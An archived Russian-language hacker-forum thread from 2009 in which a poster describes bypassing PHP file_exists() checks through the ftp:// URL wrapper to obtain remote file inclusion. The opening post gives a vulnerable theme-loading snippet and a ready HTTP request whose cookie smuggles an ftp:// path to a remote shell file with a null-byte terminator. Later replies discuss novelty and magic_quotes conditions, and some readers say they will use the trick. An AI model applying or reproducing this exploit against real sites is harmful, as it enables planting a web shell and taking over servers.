PDA

Просмотр полной версии : Небольшой очерк - file_exists


.Slip
05.01.2009, 16:13
На статью вряд ли потянет, ничего принципиально нового я не расскажу, но мб кому то пойдёт на пользу. Те кто занимаются сурсо копанием знают что эта функция очень часто портила всем RFI. Теперь портить не будет:) Итак, начнём.

http://us3.php.net/manual/en/function.file-exists.php
Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers.

http://us.php.net/manual/en/wrappers.ftp.php
As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().

Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
==>

<?php
echo file_exists("ftp://user:pwd@host/shell.txt");
?>==>
Для примера такой сурс:
<?php
...

// theme definition by configuration or by cookie
$usertheme = getparam("usertheme", PAR_COOKIE, SAN_FLAT);
if ($usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
$theme = $usertheme;
} else {
$theme = "def";
}
include "$theme/theme.php";

...
?>

Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
==>
POST /script.php HTTP/1.0
Host: host
Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
Connection: close
magic_quotes_gpc = Off
==>
Готовый шелл
-EOF-

brasco2k
05.01.2009, 16:35
Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

P.S Также начиная с PHP 5.0 функция stat тоже поддерживает информацию о файлах на удаленных хостах.

.Slip
05.01.2009, 16:40
>> А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

Ага, и !stristr("..",$usertheme) тоже от ошибок в инклудах.

>> Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

...ничего принципиально нового я не расскажу...

Смысл переписывать мои слова?

Iceangel_
06.01.2009, 19:32
а мне понравилось, возьму на вооружение.

brain[pillow]
16.02.2009, 21:54
Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.

.Slip
19.02.2009, 21:30
']Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.
Это вырезка кода из движка, там отдельно обрабатывались массивы gpc. Квотесы бы порезали нуллбайт.

regnet
09.04.2009, 21:56
Спасибо для меня было познавательно!